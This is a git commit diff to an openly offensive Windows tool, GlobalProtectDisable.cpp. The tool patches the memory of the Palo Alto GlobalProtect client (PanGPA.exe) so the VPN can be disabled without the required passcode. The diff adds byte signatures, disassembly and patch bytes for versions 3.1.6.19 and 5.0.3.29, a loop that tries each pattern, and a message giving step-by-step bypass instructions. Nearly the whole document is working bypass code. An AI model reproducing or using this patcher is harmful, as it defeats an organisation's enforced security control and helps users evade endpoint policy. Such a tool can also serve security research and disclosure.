Added support for version 5.0.3.29 in GlobalProtectDisable

This commit is contained in:
Mariusz B. / mgeeky 2020-04-28 15:28:38 +02:00
parent 339692104d
commit 4fd0eef68e
1 changed files with 253 additions and 179 deletions

View File

@ -5,11 +5,14 @@
* It does this by patching process memory and thus allowing to * It does this by patching process memory and thus allowing to
* disable VPN without entering proper password. * disable VPN without entering proper password.
* *
* Tested on: * Tested on Palo Alto Networks:
* GlobalProtect client 3.1.6.19 * GlobalProtect client 3.1.6.19 (x64)
* Palo Alto Networks * GlobalProtect client 5.0.3.29 (x64)
* *
* Mariusz B. / mgeeky, '18 * Compilation:
* C:> g++ GlobalProtectDisable.cpp -o GlobalProtectDisable.exe -static -static-libgcc -static-libstdc++
*
* Mariusz B. / mgeeky, '18-'20
**/ **/
#include "windows.h" #include "windows.h"
@ -19,9 +22,19 @@
using namespace std; using namespace std;
#define _DEBUG
const wchar_t *processName = L"PanGPA.exe"; const wchar_t *processName = L"PanGPA.exe";
const size_t PatternsNum = 2;
const size_t SizeOfReplacingBytes = 2;
const wchar_t *versionsArray[PatternsNum] = {
L"3.1.6.19",
L"5.0.3.29"
};
//
// Patterns defined below must end up just before bytes intended to be replaced,
// so just before JNE opcodes (75 XY)
//
/* /*
00007FF621B7D02A | 85 C0 | test eax, eax | 00007FF621B7D02A | 85 C0 | test eax, eax |
@ -30,23 +43,75 @@ const wchar_t *processName = L"PanGPA.exe";
00007FF621B7D031 | E8 7A 00 00 00 | call pangpa.7FF621B7D0B0 | 00007FF621B7D031 | E8 7A 00 00 00 | call pangpa.7FF621B7D0B0 |
00007FF621B7D036 | 85 C0 | test eax, eax | 00007FF621B7D036 | 85 C0 | test eax, eax |
00007FF621B7D038 | 75 55 | jne pangpa.7FF621B7D08F 00007FF621B7D038 | 75 55 | jne pangpa.7FF621B7D08F
^--- This is byte to be patched. ^--- This is byte to be patched. ----^
*/ */
const BYTE patternToFind[] = { const BYTE patternToFind31619[] = {
0x85, 0xC0, 0x78, 0x61, 0x48, 0x8B, 0xCB, 0xE8, 0x85, 0xC0, 0x78, 0x61, 0x48, 0x8B, 0xCB, 0xE8,
0x7A, 0x00, 0x00, 0x00, 0x85, 0xC0 0x7A, 0x00, 0x00, 0x00, 0x85, 0xC0
}; };
/*
.text:000000014005BFCC 48 83 C1 78 add rcx, 78h ; 'x'
.text:000000014005BFD0 FF 15 BA B3 04 00 call cs:CRichEditView::XRichEditOleCallback::ContextSensitiveHelp(int)
.text:000000014005BFD6 85 C0 test eax, eax
.text:000000014005BFD8 75 49 jnz short loc_14005C023
^--- This is byte to be patched. ----^
.text:000000014005BFDA 83 3D B3 94 0A 00 05 cmp cs:dword_140105494, 5
Look for strings such as:
"CDisableDialog::CheckPasscode - passcode matched, ok to disable"
"CDisableDialog::CheckPasscode - passcode mismatch, deny disabling"
*/
const BYTE patternToFind50329[] = {
0x48, 0x83, 0xc1, 0x78, 0xff, 0x15, 0xba, 0xb3, 0x04, 0x00,
0x85, 0xc0
};
// jne pangpa.7FF621B7D08F // jne pangpa.7FF621B7D08F
const BYTE bytesToBeReplaced[] = { const BYTE bytesToBeReplaced31619[SizeOfReplacingBytes] = {
0x75, 0x55 0x75, 0x55
}; };
// je pangpa.7FF621B7D08F // je pangpa.7FF621B7D08F
const BYTE replacingBytes[] = { const BYTE replacingBytes31619[SizeOfReplacingBytes] = {
0x74, 0x55 0x74, 0x55
}; };
// jnz short loc_14005C023
const BYTE bytesToBeReplaced50329[SizeOfReplacingBytes] = {
0x75, 0x49
};
// jz short loc_14005C023
const BYTE replacingBytes50329[SizeOfReplacingBytes] = {
0x74, 0x49
};
const BYTE *patternsArray[PatternsNum] = {
patternToFind31619,
patternToFind50329
};
const size_t patternsSizes[PatternsNum] = {
sizeof(patternToFind31619),
sizeof(patternToFind50329)
};
const BYTE *patternsToBeReplaced[PatternsNum] = {
bytesToBeReplaced31619,
bytesToBeReplaced50329
};
const BYTE *replacingBytes[PatternsNum] = {
replacingBytes31619,
replacingBytes50329
};
struct moduleInfo { struct moduleInfo {
UINT64 baseAddr; UINT64 baseAddr;
DWORD baseSize; DWORD baseSize;
@ -179,7 +244,7 @@ BOOL getProcessModule(
} }
BOOL patchProcessMemory( BOOL patchProcessMemory(
const wchar_t * procName, struct moduleInfo &mod,
DWORD pid, DWORD pid,
HANDLE hProcess, HANDLE hProcess,
const BYTE * patternToFind, const BYTE * patternToFind,
@ -189,13 +254,6 @@ BOOL patchProcessMemory(
const BYTE * replacingBytes, const BYTE * replacingBytes,
size_t replacingBytesNum size_t replacingBytesNum
) { ) {
struct moduleInfo mod;
if (!getProcessModule(procName, pid, &mod)) {
dbg(L"Could not find process module. Error: %d", GetLastError());
return false;
}
dbg(L"Module base: %llx, module size: %d", mod.baseAddr, mod.baseSize); dbg(L"Module base: %llx, module size: %d", mod.baseAddr, mod.baseSize);
BYTE page[4096]; BYTE page[4096];
@ -252,7 +310,7 @@ BOOL patchProcessMemory(
} }
dbg(L"Assuring pattern failed at byte %d: %x -> %x", dbg(L"Assuring pattern failed at byte %d: %x -> %x",
n,page[m + patternToFindNum + n], bytesToBeReplaced[n] ); n, page[m + patternToFindNum + n], bytesToBeReplaced[n] );
break; break;
} }
} }
@ -328,25 +386,41 @@ int CALLBACK WinMain(
dbg(L"Opened process handle."); dbg(L"Opened process handle.");
BOOL ret = patchProcessMemory( BOOL ret;
processName,
struct moduleInfo mod = {0};
if (!getProcessModule(processName, pid, &mod)) {
dbg(L"Could not find process module. Error: %d", GetLastError());
return false;
}
size_t i = 0;
for(i = 0; i < PatternsNum; i++)
{
dbg(L"Trying to match pattern for version: %ls", versionsArray[i]);
ret = patchProcessMemory(
mod,
pid, pid,
hProcess, hProcess,
patternToFind, patternsArray[i],
sizeof(patternToFind), patternsSizes[i],
bytesToBeReplaced, patternsToBeReplaced[i],
sizeof(bytesToBeReplaced), SizeOfReplacingBytes,
replacingBytes, replacingBytes[i],
sizeof(replacingBytes) SizeOfReplacingBytes
); );
if(ret) break;
}
if(!ret) { if(!ret) {
if(!alreadyPatched) { if(!alreadyPatched) {
msg(L"Could not patch the process. Error: %d", GetLastError()); msg(L"Could not patch the process. Error: %d", GetLastError());
} }
} }
else { else {
msg(L"Successfully patched the process! :-)\nNow, in order to bypass GlobalProtect - do the following:\n\t1. Right click on GlobalProtect Tray-icon\n\t2. Select 'Disable'\n\t3. In 'Passcode' input field enter whatever you like.\n\t4. Press OK.\n\nThe GlobalProtect should disable itself cleanly.\n\nHave fun!"); msg(L"Successfully patched the process (version: %ls)! :-)\nNow, in order to bypass GlobalProtect - do the following:\n\t1. Right click on GlobalProtect Tray-icon\n\t2. Select 'Disable'\n\t3. In 'Passcode' input field enter whatever you like.\n\t4. Press OK.\n\nThe GlobalProtect should disable itself cleanly.\n\nHave fun!", versionsArray[i]);
} }
dbg(L"Closing process handle."); dbg(L"Closing process handle.");